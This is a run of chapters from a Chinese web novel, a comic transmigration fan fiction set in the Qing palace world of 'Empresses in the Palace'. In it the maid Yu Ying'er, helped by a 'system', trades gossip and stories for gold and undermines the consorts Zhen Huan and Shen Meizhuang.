余莺儿膝盖动了动,瞧着那个架势,派头比她们两个小主还足。 两个人脸上的笑容蓦然消失,甄嬛还能维持着一些表面的和善,而沈眉庄连装都不愿意装样子,摆着个脸看向一旁。 “余姑娘怎么在这儿?可是皇上有话叫你通传?” 甄嬛的脑子疯狂转动,不过她本就意识不到自己的问题,这些过程只不过是给自己徒添信心罢了。 “这秋千可是二位小主的?” 余莺儿没有回话而是看着秋千问了一句并不太跟她有关的话题。 甄嬛点了点头,还未开口就听身边的眉姐姐没好气的呛声:“余姑娘这是对这秋千也有意见?想来余姑娘不过是御前的宫女,应当管不到御花园的事来。” 余莺儿拊掌叹笑,沈眉庄完全就是无脑送人头,即使原主没有要求,她也不可能受这份闲气。 “既然沈贵人认为奴婢没有资格过问,那奴婢便找有资格的人来。” 甄嬛连忙拉了一把沈眉庄的衣袖,轻声安抚道:“余姑娘,眉姐姐她不是那个意思,只是越俎代庖不可取,眉姐姐也是为了余姑娘好。” 余莺儿翻了个白眼:“装货。” 这个词还是过于超前的了,甄嬛和沈眉庄没听懂,不过她们下意识的认为这并不是什么好话。 “你!” 沈眉庄向前一步,气的脸都红了。 “华妃娘娘到。” 自从得宠后不断受到华妃磋磨的沈眉庄给了身后采星一个眼神,趁着众人都在行礼问安时,采星绕过身后的大树,往景仁宫的方向飞奔而去。 余莺儿看到了,但余莺儿没有阻止,甚至用眼神制止了想要上前伸手拦一把的周宁海。 周宁海不解,但周宁海对余莺儿的指令还算听话。 “这是怎么了?吵吵嚷嚷的,后宫是你沈府的后花园吗?” 为什么没有提甄府呢?因为甄府没啦! “华妃娘娘,奴婢请您来呢,是有一事不明。” 余莺儿看了眼自己的大客户,双方对对方的诉求通过眼神达到了共识。 “说吧,本宫倒要看看这后宫还有什么魑魅魍魉。” 沈眉庄和甄嬛自觉没有做错事,站的笔直表情不慌。 可余莺儿的话出口,两人瞬间变了脸色。 “华妃娘娘,奴婢记得宫规上有规定,御花园不得擅自动土,可是奴婢记错了?” 华妃看了眼旁边的秋千,微微挑了挑眉:“没错,这宫里的一草一木都是钦天监算计好的,是不允许随便乱动的。” 余莺儿看向甄嬛和沈眉庄不怀好意的继续问道:“那不知,华妃娘娘可有收到底下的人在御花园搭建秋千的消息啊?” 华妃配合的看向刚刚一直在做背景板的黄规全,捏着手帕不耐烦的问道:“内务府是怎么办事的?御花园什么时候这么轻易的就叫人动土了?” 黄规全苦着脸弓着腰:“华妃娘娘,余姑娘,奴才冤枉啊!这秋千,不是咱们内务府搭建的!什么时候有的,奴才也不知道。” 华妃歪着嘴角慢慢的走了两步:“这么说来,是甄答应和沈贵人擅自,搭建的了?” 两人此时才反应过来,宫规上确确实实是有这么一条的。 “嫔妾未曾约束好自己的宫人是嫔妾失职,只是奴才也是为了讨嫔妾的欢心,请华妃娘娘恕罪。” “甄答应反应真是快啊,不愧有女中诸葛之名,这三言两语的,罪名就推到了下人的头上。岂不知没有你这个主子应允,哪个宫人如此不知死活的敢擅自动手呢?” 余莺儿真的很讨厌这种避重就轻的人,跟听不懂人话似的。 “余姑娘慎言,我不曾逃避过罪责,只是就事论事罢了。” 甄嬛在场面不利时嘴永远很利。 “甄答应这是在教奴婢做事?看来皇上对奴婢的教导甄答应觉得不对呢。” 避重就轻嘛,谁不会呢? 怎么还拉扯到皇上身上了?不过甄嬛觉得,此时把皇上叫来未尝不好,有皇上在,凭借她的恩宠,脱困想来不难。 皇上确实来了,跟在皇后身后。 “妹妹们这是在做什么?” 皇后还是想保下甄嬛的,毕竟能对华妃造成威胁的,除了这位甄氏,就是长春宫的碧鲁氏了。 可惜碧鲁氏世代任职内庭,根本不是她能拿捏住的。 “皇后娘娘是瞎了吗?这么大一个秋千在御花园居然放任这么久都没有处置,若是皇后娘娘精力不济,臣妾很愿意为您效劳的。” 华妃在余莺儿的助攻下越发膨胀,余莺儿只是看着,没有干预。她等着年家都起飞再赚笔大的呢,没有人可以阻止余莺儿对金子的囤积。 皇后的笑容一滞,不过很快恢复了平常:“华妃说笑了,本宫是一宫之主,不过是些琐事。” 两个人打了半天机锋完全顾不上地上还跪着的沈眉庄和甄嬛。 “奴婢斗胆!” 余莺儿有些不耐烦了,吵架有什么用,又打不起来浪费她时间。 皇后和华妃停止了口水战同时看向余莺儿。 “皇后娘娘,华妃娘娘,咱们是不是先处理了这违反宫规的秋千?” 眼看着小纯元又要被禁足,皇上从后头走了出来。 虽然很厌烦甄答应的找事能力,但这是目前为止最像纯元的一张脸,皇上认为罚些份例就够了,禁足是没必要的。 华妃自然不乐意,又加了二百遍的宫规才不情不愿的带着翊坤宫的人离开。 甄嬛等着皇上的安慰,却只看到皇上带着余莺儿冷漠无情离开的背影。 “嬛儿。” 沈眉庄拉着甄嬛的手,看着被打死的小允子两人感叹了两句人命轻薄,相互搀扶着就回了咸福宫。 第363 章 余莺儿12 “你不是去查皇后去了,怎么又跑到了御花园?” 皇上有些疲惫的靠在迎枕上,闭着眼睛淡淡的问道。 余莺儿自觉的坐到脚踏上,手上有一搭没一搭的给皇上捶腿。 “去御花园问问那里的宫人嘛,御花园的宫人和宫道的宫人都是轮值的,奴婢去问问有没有什么线索。” 皇上点了点头,余莺儿办事他很放心。 “甄答应规矩差,叫敬嫔提点着些。” 皇上从一开始对甄嬛的定位就是替身,经过了甄家这些污糟事又变成了玩意儿。对一个玩意儿,皇上并没有太多的耐心。 余莺儿仗着皇上闭着眼放肆的翻白眼撇嘴:“皇上您要不再从山东选个秀女进宫吧,总觉得沈贵人的教养还不如咱们这些人。” 她们包衣入宫前的规矩可不是朝九晚五的学,那是卯时起床亥时入睡那么硬扛着训练的。 不夸张的说,沈眉庄甚至还没有包衣旗内那些没有职务斗狗遛鸟,不务正业的庶子们有规矩。 人家好歹知道能屈能伸四个字,不会硬着九族往上莽。 皇上也摇了摇头:“本以为沈贵人是个知书达礼的,是朕和太后看走了眼。” 虽然沈眉庄确实是一次性消耗品,但她完全没有按照皇上预想的那样给华妃造成一丁点威胁。 反而是余莺儿隔三差五的去翊坤宫说说书,倒是叫年家兄妹开辟了新的爱好。 华妃是个十分愿意和年羹尧分享生活的妹妹,余莺儿那里稀奇古怪又惊天动地的爱情故事十分打动她。 不过年羹尧更喜欢龙傲天系列,导致兄妹俩的关系在特定的时候会定时破裂。 而如今的大清并不能满足年羹尧对龙傲天世界的渴望,沦落在现实和理想间巨大的夹缝中,年大将军做反派都不敬业了。 皇上没想到余莺儿还有这样的作用,怪不得圣贤书里都说享乐和巨大的落差是击垮一个人最好的办法,这话是真理。 为了激发余莺儿的创作激情,皇上斥巨资给余莺儿送了一个纯金的聚宝盆。 只要她保持每月都有一个新鲜的故事,皇上就往聚宝盆里扔一个小巧的金元宝。华妃也是股东,她特别喜欢余莺儿改编的江玉燕故事,为此可是充了超前点播。 “皇上何不和沈大人反馈一二?沈家女这样的名声,想来沈大人也很羞愧吧?” 皇上真的太大方了,为了可持续发展,余莺儿提供了一些些进账的来源。 皇上听懂了,思索再三,还是在济州协领沈自山的折子上批注了这件事。 一个月后,皇上如愿收到了沈家送来的一对如花似玉的双胞胎姐妹和厚厚的一沓银票。 看的出来,沈大人真的很怕受到沈贵人的牵连。沈家儿女众多,沈眉庄是年龄合适身份合适但并不是唯一合适的人选。 不求光耀门楣,总不能花着沈家的银子还要连累全族吧? 而彼时,皇上已经带着众人到了圆明园避暑。敬嫔受连累被罚了一个月的份例,沈贵人变成了沈常在。 整个咸福宫怨气冲天,皇后安排时只把敬嫔单独放了一个院子,瞬间气息就和平了许多。 “恭喜皇上了,玉常在有了一个月的身孕。” 这事余莺儿比皇上早知道一晚,她想了想空间里那新收的一箱金条,笑眯眯的接下了保胎的活计。 “果真?朕去碧桐书院。” 皇上激动的带着余莺儿往碧桐书院走,一路上嘴里头还叨叨咕咕的:“莺儿你说玉常在这一胎是男是女?朕观玉常在还算聪慧,就是爱哭,得把她从长春宫搬出来,不能再叫齐妃教出来一个三阿哥了。” 皇上是真的怕了,余莺儿不过小半年的时间就背完了四书,而他的好大儿如今还磕磕绊绊呢。 余莺儿低着头笑了一会儿,然后动了动脸恢复成御前威风的余姑娘。 “玉常在可好?” 碧桐书院回话的太医名郑九仝,是碧鲁氏的人,内庭的宫妃,有的是路子。 “回皇上的话,玉常在身体康健只是有些受暑热影响脾胃不佳,无需用药,在饮食上稍作调整便是。” 皇上笑眯了眼睛,他就说还得是这些包衣,像他皇额娘似的,怀孩子跟玩儿一样。 玉常在变成玉贵人,新进来的沈家姐妹又颇得皇上喜爱,沈眉庄情急下,还是走了自己的老路。 “这沈常在上蹿下跳跟个靶子似的,曹贵人,顺手成全她吧,没的在本宫这里碍眼。” 本来经过余莺儿的搅和恩宠大不如前的沈眉庄并没有上华妃的暗杀名单。但谁叫她像个显眼包一样满世界的求坐胎药呢? 真要有这么厉害的药,别说别人,她华妃能这么空落落的吗? 曹琴默眼珠子转了转,不费吹灰之力就叫沈眉庄有了‘孕信’。 又得了喜讯,皇上还是挺高兴的。 只不过沈眉庄在他这里毫无利用价值,不用皇后劝说,皇上自己都没有晋位的想法。 “便赐个‘恪’字做封号,恪常在,好好养胎。” 这个字实在玄妙,沈眉庄沉浸在喜悦没有察觉到一旁嫔妃那些看好戏的眼神。 站在人群中的敬嫔双眼无神,她轻扫了眼众人,在心里默默祈祷恪常在这一胎就算要出事,也要在圆明园的时候,离咸福宫远一些。 这些日子为了规劝恪常在和甄答应,敬嫔都看到了自己的白发。 这两人面上是规规矩矩的大家闺秀,背地里完全按照自己的意愿做事,从来不顾别人的死活。 想着这个‘恪’字封号,敬嫔苦笑,皇上真是白浪费心力,恪常在根本没往心里去。 “元年选秀的宫妃只有恪常在有了身孕,反而是玉贵人,是个好生养的。” 皇上坐在勤政殿门口的摇椅上,看着满天的繁星有些感慨。 余莺儿得了一个小椅子,她觉得皇上在暗示她什么。 “想来咱们内庭的包衣伺候皇上久了身上也有些福气,皇上若是有意,不如多选几个入宫伺候着?毕竟瓜瓞绵绵才是咱们大清的幸事不是?” 皇上满意的扔了一个金镯子到余莺儿怀里:“就你会说话。” 余莺儿得意:“对了皇上,奴婢是不是忘了跟您说皇后娘娘的事啦?” 明明是皇上最近沉迷在双胞胎的温柔乡,余莺儿把这罪名揽在了自己身上。 “是了,你调查出了什么?” 皇上毫不心虚,甚至为余莺儿的贴心表示了拉踩,苏培盛和夏刈结合在一起都没有余莺儿一个人好使! “皇后娘娘是打着把乌拉那拉氏的女子嫁与三阿哥为福晋的心思呢。” 皇上皱了皱眉头,乌拉那拉氏都破落成什么样了?还想肖想皇子? “就是皇后娘娘的侄女,如今十来岁左右的青樱格格。” “荒唐!” 皇上只觉得皇后不知所谓,敢让他的儿子等一个不入流的格格,果然是喂不熟的白眼狼。从前念叨着乌拉那拉氏苛待她,在他这里换取了多少同情心。 如今成为了皇后倒不觉得乌拉那拉氏苛待了,还念着给族里拉好处。 “三阿哥年纪不小了,也该定亲了。” 皇上琢磨着,隔天就下了圣旨。 三福晋定了瓜尔佳氏的格格文鸳,选秀时生病无缘殿选,正好和三阿哥倒合适。 正好包衣小选刚过,皇上从中挑选了几人入宫几人到了弘时的后院。 皇上这一举措叫皇后有些反应不及,又想开口说一些车轱辘话,但皇上不想听。 “什么年纪小,弘时不成家也读不好书,皇后管理好后宫就是。” 皇上的眼神已经满是警告,皇后只能无奈应是。 第364 章 余莺儿13 圆明园的山水如画,皇上有沈氏的姐妹花陪着,余莺儿便以打探消息为由跑出去自个儿转悠。 紧邻后湖的碧澜桥上余莺儿刚打发走了一个送信儿的小太监,就听到一声稍显稚嫩的‘余姑姑’。 她转过身,毗邻的坦坦荡荡的假山旁冒出来一个半大的孩子,头顶荷叶肤色偏深笑容灿烂。 “原来是四阿哥,四阿哥怎么自个儿在这儿?” 余莺儿瞥了一眼能当镜子用的水面,这趾高气昂的面貌,这刻薄不好相处的做派,没看出来有能当妈的潜质啊。 四阿哥跑下来仰着头看着余莺儿,故意卖惨企图博得同情。 然而他找错人了,余莺儿并不是有同情心的人。 “奴婢哪能做了皇上的主,四阿哥还是莫要为难奴婢了。” 她敷衍了一句,甩了甩帕子就要离开,没成想冤家路窄又和沈眉庄甄嬛两人碰上了面。 “余姑娘何苦如此疾言厉色?四阿哥年纪尚小,不过是孺慕皇上罢了,余姑娘身为御前的宫女,何不尽自己所能,也算是为皇上排忧解难呢。” 甄嬛蹲下身,用帕子给四阿哥擦了擦汗,表情温柔可亲,瞬间就把四阿哥的注意力转移了过去。 小心眼的四阿哥在心里认同甄嬛的话,觉得余莺儿和旁的宫人一样,都看不起他。 余莺儿听不到四阿哥的心里话,不然一定要大声的回上一句:“对,我就是瞧不起你!” “疾言厉色?那就请甄答应给奴婢解释解释,奴婢拢共说了一句话,是哪个词哪个字称得上疾言厉色呢?” 不等甄嬛回话,余莺儿小嘴叭叭的接着说道:“皇上见不见四阿哥是皇上的事,甄答应倒是会慷奴婢的慨,奴婢去御前做了那坏人,名声叫您得了,真真儿是长着一张好人脸背地里一身算计。” 余莺儿就算再不喜四阿哥,也不会明面上怼一个小孩子,最多态度算的上敷衍,甄嬛敢给她扣帽子,那可就要说道说道了。 “余姑娘慎言!甄答应不过是心善看不得皇子被你这奴婢轻慢,你莫要拿莫须有的罪名污蔑她。” 余莺儿看了眼身后的杏花春馆拍了拍手:“打量着我势单力薄吗?” 杏花春馆没有分给嫔妃,但里头洒扫的宫人还是有些的。 “那就请二位小主和四阿哥一同过来一趟吧,奴婢可从来不受冤枉。” 不等二人开口,余莺儿转身带着杏花春馆的奴才到了勤政殿。 “皇上,奴婢有事禀告。” 余莺儿前儿个用一本【苏落寻亲记】换了年羹尧一万两银票,如今正热乎的躺在皇上的小匣子里。这样一个能给皇上分忧又能给皇上挣钱的奴婢,皇上怎么能听不出来余莺儿的不痛快。 “这是怎么了?高高兴兴出去,拉拉着脸回来。” 皇上终于把‘拉拉着脸’还给了余莺儿,心里头好不痛快。 “奴婢今日可算开了眼了,皇上您这小小的后宫卧虎藏龙,什么黑的说成白的都是小节,还有那指鹿为马无理辩三分的,真是叫奴婢大开眼界。” 皇上对余莺儿的抱怨充耳不闻,反倒是老怀安慰的点了点头:“莺儿这学识渐长,朕很欣慰。” 余莺儿也不管皇上说什么,看了眼高无庸,高无庸识趣的把几个宫人带了进来。 主仆俩虽然话题并不在一条线上,但对彼此的意图还是很了解的。 “这些是?” 皇上身后的沈氏姐妹站立难安,她们想走,但是没有皇上发话不敢走,但不走,余姑娘的气场太吓人,她们不想听。 余莺儿管不得那么多,把今日遇到四阿哥的事一五一十的告诉了皇上。 “皇上,您就说奴婢做的对不对?您是皇上,您是见还是不见都是您自己做主,这事能轮的到奴婢插手吗?” 皇上对余莺儿的处理十分的满意,弘历在勤政殿外头又跪又等的他能不知道吗?他只是不往心里去。 “你做的对。” 余莺儿比苏培盛优秀的最重要的一点就是不擅自做主,不打着为他这个皇上好的旗号做一些他都不知道的事。 “你们继续。” 余莺儿叫宫人们又把甄嬛和沈眉庄两人的样子学了出来。 其中一个宫人是个机灵的,把沈眉庄那天不服地不怕的神态学的惟妙惟肖。余莺儿把人记了下来,准备回头查一查这个好苗子。 “皇上您评评理,奴婢就那一句话,是疾言厉色吗?要说奴婢敷衍四阿哥奴婢承认,皇上您喜欢的奴婢喜欢,皇上您不喜欢的,奴婢敬着就是。但奴婢又不傻,那阿哥奴婢敢上去欺负吗?” 皇上失笑,他这个大宫女可以称得上是狗腿子的典范了。 但又格外伶俐可爱,办事机灵对他这个主子忠心,恪常在和甄答应位分如此低,待遇甚至都不如他的莺儿,派头居然端的这么大,啧,好没教养。 余莺儿的脚程快,她都告完状了另外三个当事人才到。 皇上懒得再听一遍这没什么深意的官司,只问了两句话:“弘历,莺儿说的那句话到底是什么?” 弘历低着头,好记性的复述了一遍。 皇上点了点头,没毛病,余莺儿告状从来都是实事求是的。 “恪常在,甄答应,朕御前的人也是你们能教训的?” 两个人跪在地上,涨红的脸还想开口为自己辩解一二。 但皇上没有耐心听。 他抬了抬手,看向沈眉庄。 “恪贵人,沈家已经将你除族,并剥夺了沈氏这个姓氏。” 沈自山这道折子还在皇上的御案上压着,不是怜惜沈眉庄,只是觉得她怀着孩子,怕动了胎气。 但现如今皇上实在不愿意看到她那副自以为是的蠢样子了。 “皇上?!这不可能,爹不可能这样!” 沈眉庄确实不能接受,她可以嫌弃沈家不够强大,不能让她在对上华妃时更有底气,但不能接受沈家先不要她。 “皇上,可否叫嫔妾和恪常在说两句话?” 皇上身后的容常在突然上前行了一礼。 两人虽是同族但这位容常在并不是沈自山的女儿,而是沈自山的大哥沈自海的庶女。 沈自海任从四品济州知州,因为没有嫡女,所以在培养女儿上并没有沈自山一家下的功夫多。 沈氏一族把所有的希望都放在了沈自山的嫡女沈眉庄身上,却没想到得到了这么一个结果。 好在皇上开恩,给了沈家喘息的机会。 皇上点了点头,沈眉庄的名声传回去定是连累了族里的女子,有怨气是正常的。 “不知道恪常在还记不记得我们姐妹?” 容常在紧紧的捏着帕子,深呼吸几次才把那要吃人的眼神压下。 沈眉庄抬头看了看,有些茫然。 她也不是没良心,而是对家族里的庶女不太看的上眼罢了。 “恪常在可能不知,你在宫里头几次视宫规于无物叫外头的人都在看咱们沈氏的笑话。 托你的福,你母亲娘家的芷溪小姐,被夫家退了婚。因着你母亲教导出来你这样不守规矩的女儿,外头,可没人再敢娶孔家的女儿了。” 沈眉庄的母家姓孔,孔芷溪是沈眉庄小舅舅的嫡女。亲事定的是知府冯家,如今,全然被毁。 “不,不可能的,我,我只是看不惯......” 沈眉庄对沈家有怨气,对外家的姊妹倒是很友善。孔芷溪和她关系不错,如今骤然听说因为自己的原因遭了难,一时无法接受。 “看不惯?咱们入宫做妾室,用得着咱们看的惯吗?你不是一直对府里头的姨娘这么说吗?做妾就要有做妾的觉悟,伺候好自家爷就是了,不要管太多。” 容常在的庶姐被退了婚,好在她为人看的开,没有像别的女儿家一样一根白绫就往脖子上绕。 容常在和沈答应这对姐妹花进宫时沈眉庄没有破防;听闻被沈家放弃时沈眉庄也没有反思;反而是真正从小一起长大的妹妹孔芷溪被退了婚,像是当头一棒,敲的沈眉庄头眼发昏。 第365 章 余莺儿14 皇上听了会儿觉得无趣,招呼来了余莺儿:“这是百家姓,你随便指一个姓氏给恪答应吧。” 余莺儿是奴婢,但她是皇上身边最得力的奴婢,沈眉庄三番两次的下余莺儿的面子,那就是对他这个皇帝不满。 但恪字这个封号极好,皇上不愿意去掉,便再降一位,为恪答应。 余莺儿笑的一脸得意,丝毫不掩饰自己小人得志的样子。 ‘统子,作弊!’ 严格意义上来说,姓氏并没有好坏之分。但余莺儿不是严格意义上的古人,她经历过时代大爆炸,看到过无数小学生给小朋友起外号的场面,所以一定要挑一个合心意的才好。 诶?余莺儿突然有了主意。 ‘统子,找到贾这个姓氏。’ 她的好姐妹姓甄,那她就姓贾好了,甄甄贾贾,好不般配。 余莺儿翻动书页的手感受到了阻力,然后跟着系统的提示移动到了想去的地方。 “贾。” 皇上看了一眼笑出了声。 “那便,叫内务府改了去,恪答应贾眉庄。既然沈氏将你除了族,那沈氏送进宫的东西你便收拾收拾一并送到镂月开云容常在处。” 虽然沈眉庄还是那副木木愣愣的样子,但皇上已经玩够了,挥了挥手,甄嬛只能拉着贾眉庄先回上下天光。 容常在和沈答应福了福礼,总算是把这个祸害从沈家扔出去了,她们很感激这位余姑娘,两个人眉眼沟通了一会儿,想着一会儿去把贾眉庄的金子首饰融了,打一个大大的金元宝给余姑娘把玩。 “皇上,奴婢可是听闻喜塔腊常在很擅长琵琶,今儿可要去看看?” 余莺儿光明正大的在沈氏姐妹面前拉恩宠,两人也不在意。她们进宫的唯一目的就是给沈氏一族正名。如果再能得一儿半女更好,不能就顺其自然,总之,不能叫沈氏的名声再后退了。 皇上笑着点了点余莺儿的肩膀:“说吧,你又收了什么好处?” 这套路皇上都习惯了,甚至还被迫分了赃。 余莺儿笑着往皇上手里塞了一个金元宝:“瞧您说的,奴婢哪是那样的人。奴婢可真是打听清楚了才跟您说的。” 这话不假,就算是邀宠,余莺儿也绝对打探的一清二楚才往皇上身边送,谁是大小王她还是分的清的。 皇上知道余莺儿谨慎,所以并不太在意。 “行吧,朕晚上去看看。” 主要是今天余莺儿还接了华妃说书的单子,必须得把皇上送出去才行。 这次包衣送来的几个宫妃模样都不算特别出挑,但性子绝对是一等一的温顺。 包衣族里的人脉盘根错节,余莺儿的重要性早就传遍了各个姓氏。 与其靠太后那虚伪的照拂,还不如靠金子拉拢了御前的余姑娘。毕竟给了钱,余姑娘是真的办事。 章佳常在,喜塔腊常在,伊尔根觉罗常在,西林觉罗答应和李佳答应,都是满军旗包衣,源自余莺儿精挑细选。 皇上挑宫妃看容貌,而余莺儿辅助其家族子嗣是否昌盛的重要信息。 皇上不就是想多子多福吗?余莺儿一定要满足他!反正养孩子的不是自己,花钱的不是自己,争储的也不是自己,乱点怎么了,乱点好啊! 余莺儿捏着帕子溜溜哒哒的到了清凉殿。 她甚至都没在勤政殿用膳,毕竟华妃宫里的美味谁吃谁知道。 “莺儿来了,快,叫颂芝带你先去用膳。” 这一本【苏落寻亲记】分为两个版本,给年羹尧的是男版龙傲天,魔挡杀魔佛挡杀佛,总之开局一个破碗,靠无数机缘成就战神寻找到上古神仙家人的‘励志’故事。 而华妃版本的相对偏缠绵些,苏落不光自己厉害,还有一个更厉害的crush南宫流云。 那一路升级一路打怪,心心相印缠绵悱恻的动人爱情,叫华妃欲罢不能。 今日该到南宫流云被家里接回去,失忆忘记苏落的桥段了。余莺儿提前提醒了颂芝准备了好些手帕,金色的醒目一拍,今日的睡前小故事就开始了。 听到南宫流云冷漠的从苏落身边离开的情节,华妃急的都要哭了出来。 可惜余莺儿‘郎心似铁’,今日根本没有打算叫两人再度相爱。 华妃抽抽搭搭的睡了过去,颂芝抽抽搭搭的把余莺儿往外送。 “余,余姑娘,明日,明日流云能想起来落落吗?” 余莺儿摇了摇头:“这是明日的事了,不能告诉 你呢。” 颂芝:爆哭。 轻轻松松,又是金元宝入账的声音,余莺儿睡的很踏实。 喜塔腊常在应该是挺得皇上心意的,一晚上便给了封号‘锦’为锦常在。 喜塔腊氏一族又送了一盒金瓜子给余莺儿,拜托她照顾着些。 这都是小事,余莺儿收了钱,便带着一个嬷嬷去锦常在住的茹古涵今里的小屋里转了一圈,收走了一些有问题的东西,表示自己从不白拿钱。 锦常在的贴身侍女就是族里送来的,却没有余莺儿这么专业。她感激的又塞了一个荷包和余莺儿:“幸得余姑娘照拂,今后少不得麻烦你,万望余姑娘莫要嫌烦。” 余莺儿笑着点了点头:“锦常在好好歇着,奴婢还要回去当值。” 回勤政殿的路上,余莺儿又偶遇了抱着温宜的曹贵人。 “奴婢给曹贵人请安。” 余莺儿腿都没有打弯,曹贵人便伸手把人拉了起来。 “余姑娘这是去哪了?外头日头正大,没有伞可是万万不行的。” 说着,身后的音袖便拿着一把花团锦簇的伞遮到了余莺儿头上。 余莺儿虽然不太喜欢遮阳,毕竟做鬼的时候感觉不到温度,做人就格外喜欢晒太阳。 不过她没有拂了曹贵人的好意。 “多谢曹贵人了,温宜公主这是醒着,可要去皇上那里?” 曹贵人笑了笑,她银钱不够,但是已经尽力打听每个皇上得闲的时候。不为了争宠,而是为了温宜能时不时在皇上面前露个脸。 “是,我想着温宜今日兴头还算高,抱去给皇上瞧瞧。” 对温宜这个小可爱,余莺儿心里头还是抱着善意的。 “皇上刚批了折子,想来有温宜公主给皇上解闷定是极高兴的。” 曹贵人此番一是为了温宜的生辰,二也是为了见一见这位余姑娘。 她认真观察许久,就连华妃那个炮仗都能在余姑娘手里安安分分的,曹贵人自然更倾向御前的人。 华妃的家世好人也傲气,但对温宜并无太多的喜爱,所以这条大腿只能带给温宜一些物质上的帮助,可万一到了需要争宠的时候,华妃定会毫不犹豫的牺牲温宜。 曹贵人并不想如此,眼看着玉贵人,锦常在,还有一个甄答应都是皇上喜好的颜色,若是哪一日华妃从余姑娘的话本子里抽身,倒霉的第一个就是她们母女。 眼见着余姑娘对温宜的态度格外友善,曹贵人在心里想了想,简单的把想要说的事说清楚,便以落了东西为由,把温宜放在了养心殿。 “看这里看这里。” 余莺儿举着皇上的玉佩逗弄着呵呵笑的温宜,皇上在旁边看着,难得看到余莺儿如此靠谱稳重的时候。 “温宜先由你照看着,朕去清凉殿,和华妃说一说温宜的生辰宴。” 把温宜交给余莺儿皇上很放心,他碰了碰温宜的小脸蛋对曹贵人的心思看的分明。 不过对温宜好,皇上并不会太计较。 只是华妃不太乐意,余莺儿去看孩子了,谁给她说书啊!她想知道南宫流云什么时候恢复记忆! 第366 章 余莺儿15 皇上本来就没几个关系好的兄弟,亲亲十三在甄嬛传里毫无存在感,唯一一个可以彰显他手足情深的弟弟允礼,还因为存着小心思的心被弄断了腿。 不过,即使如此,允礼也得一瘸一拐的来参加温宜公主的生辰宴,兄弟合乐,演也要演出从前那毫无间隙的样子。 “十七弟的腿可好些了?” 皇上眼里的笑意不达底,一想到舒太妃母子暗地里打探纯元旧事培养甄答应他就不痛快。 允礼倒是有了长进,表情淡然洒脱,仍旧是那副风流王爷的样子。 “多谢皇兄关怀,臣弟的腿倒也不算影响走路。总归臣弟也不爱理俗世,如此还算好过。” 敦亲王笑了一声,看着皇上撇了撇嘴:“皇上还真是仁慈,就这么一个小小的骨折都‘尽力’给十七弟医治呢!” 他在‘尽力’二字上咬的很重,虽然并没有捋清楚舒太妃和允礼到底做错了什么,但不妨碍他拿明面上的面子情说事。 皇上不乐意搭理敦亲王,余莺儿俯身在皇上耳边说了几句话,引得皇上哈哈大笑。 敦亲王不明所以,但总觉得自己后背凉飕飕的。 直到开宴,敦亲王嚼啊嚼抿啊抿吃啊吃,那嘴被占的满满的,根本没空开口找事。 敦亲王福晋看了眼自己身前的碗碟,再看看自家王爷身前的碗碟抬起手掩着嘴笑了笑。 糯米打的甜丸子汤,口味酸甜但较多鱼刺的鱼肉,添了不知名香料的脆脆落花生,每样都在敦亲王的嘴里开花,完全没有机会说话。 本是歌舞升平的扬合,曹贵人冒出来头又是表演节目那一套。 余莺儿淡定看戏,也不知道今日没有果郡王的箫也没有安陵容的曲儿,甄嬛还能不能惊艳全扬了? 端妃像个定点出扬的NPC一样,看着温宜目光意味深长。 “皇上,奴婢前两日听如意桥值守的小太监说,端妃娘娘本是准备了一个金镯子,只是不知道听到了什么消息,又换成了这陪嫁项圈。” 余莺儿一个人蛐蛐全扬,每个露头的人她都能说上两句小话。 偏皇上还爱听这些,连惊鸿舞都看不进去了。 “你可是知道端妃听了谁的话?” 皇上本对这份礼物没什么想法,但余莺儿这么一说,他就觉得别有深意。 “是清凉殿的一个小太监名小曲子,不过也打听不到什么华妃娘娘的消息,顶多在外头听个闲话。” 皇上看了眼乐呵呵的曹琴默和温宜,心里头有了猜想。 “这惊鸿舞,不应该是翩若游龙吗?听名字,应当是十分惊艳才对。这粉色的舞衣,皇上您觉得....惊艳吗?” 余莺儿早就想吐槽那身衣裳了,不仅不飘逸还有些土气。 没有了纯元那层滤镜,皇上看甄嬛的眼神也颇有些嫌弃。 “当初纯元一身湘妃色的衣裳飘逸动人如九天玄女,可惜了,东施效颦。” 只有沈眉庄的琴,并不能很好的烘托起气氛,再加上皇上的注意力并不算集中,甄嬛便有些急切。步伐乱了几下,没能调整好心态。 敦亲王总算把碗里的糯米圆子吃完,嚼的他脸颊发酸。 “不甚美观,毫无新意。” 敦亲王福晋深吸口气笑了笑,面上安抚着给敦亲王倒了杯酒,实则心里已经骂了八百个来回。 “这爷们儿就非要不可吗?!我赫舍里氏就是守寡也比天天把脑袋别敦亲王腰带上强啊!一天天长个嘴就知道叭叭,可显着他了。” 余莺儿不经意和敦亲王福晋对上眼神,同道中人的频率瞬间对上了。不过一个是亲王福晋,一个是御前的大宫女,两人只能默默按耐住想要吐槽的心思,继续端着假笑看皇上训弟。 “老十口无遮拦惯了,想来皇阿玛那时候的教导,你都忘了干净。” 若是说别的敦亲王还能顶嘴,这个狡诈的老四说起来了皇阿玛,这谁敢还嘴啊。 “哼!” 这是敦亲王最后的倔强。 甄嬛就这么被晾在扬上,尴尬的眼眶含泪。 果郡王举杯起身,暗自为甄嬛打了掩护。 皇上倒是顺着果郡王的心意喝了酒说起了别的话题,甄嬛趁机下扬,临走前轻轻回头,记住了给她解围的好男人。 皇后的管理能力有目共睹,基本是没有的。余莺儿又不插手后宫的宫务,所以果郡王在经过皇上的猜疑沉寂了一段时间后,再次活跃在后宫。 可能是舒太妃的人手已经被一网打尽,也可能是当初的手段并没有正面和果郡王交锋,总之皇上十分自信的继续用果郡王来维持自己是个好兄长的假面。 余莺儿也不提醒,看戏嘛,总不能竭泽而渔,还是得松松紧紧,可持续发展为好。 生辰宴最受挫的无疑是甄嬛,大家弹琴的弹琴画画的画画,只有她和个显眼包似的跳了一曲还没得到任何好处。 不过这些都不重要,好在那张脸还在,皇上时不时的惦记着去看看。 “玉贵人那儿还没有得手吗?” 皇后拆着发,皱着眉头有些烦躁。 这碧鲁氏果然难缠,不管是送进去的麝香还是红花,不管是泡了药的布料还是木料,都像是消失了一般,毫无踪迹可循。 剪秋也发愁,她们能下的手不多,可次次都让玉贵人躲了过去。 “娘娘,碧鲁氏警惕,身边的嬷嬷应当也是碧鲁氏送过来的,奴婢实在找不到机会了。” 皇后看着镜子里的自己想了一会儿,紧皱的眉头放松,似是想到了什么好办法。 “华妃那里也快动手了,咱们不必专门寻机会。” 这是要在拆穿沈眉庄假孕的大扬面中浑水摸鱼了。 收到碧鲁氏递进来的消息,余莺儿给了玉贵人一个肯定的眼神。 放心吧,收了钱,她余莺儿包售后的,口碑绝对不能被砸。 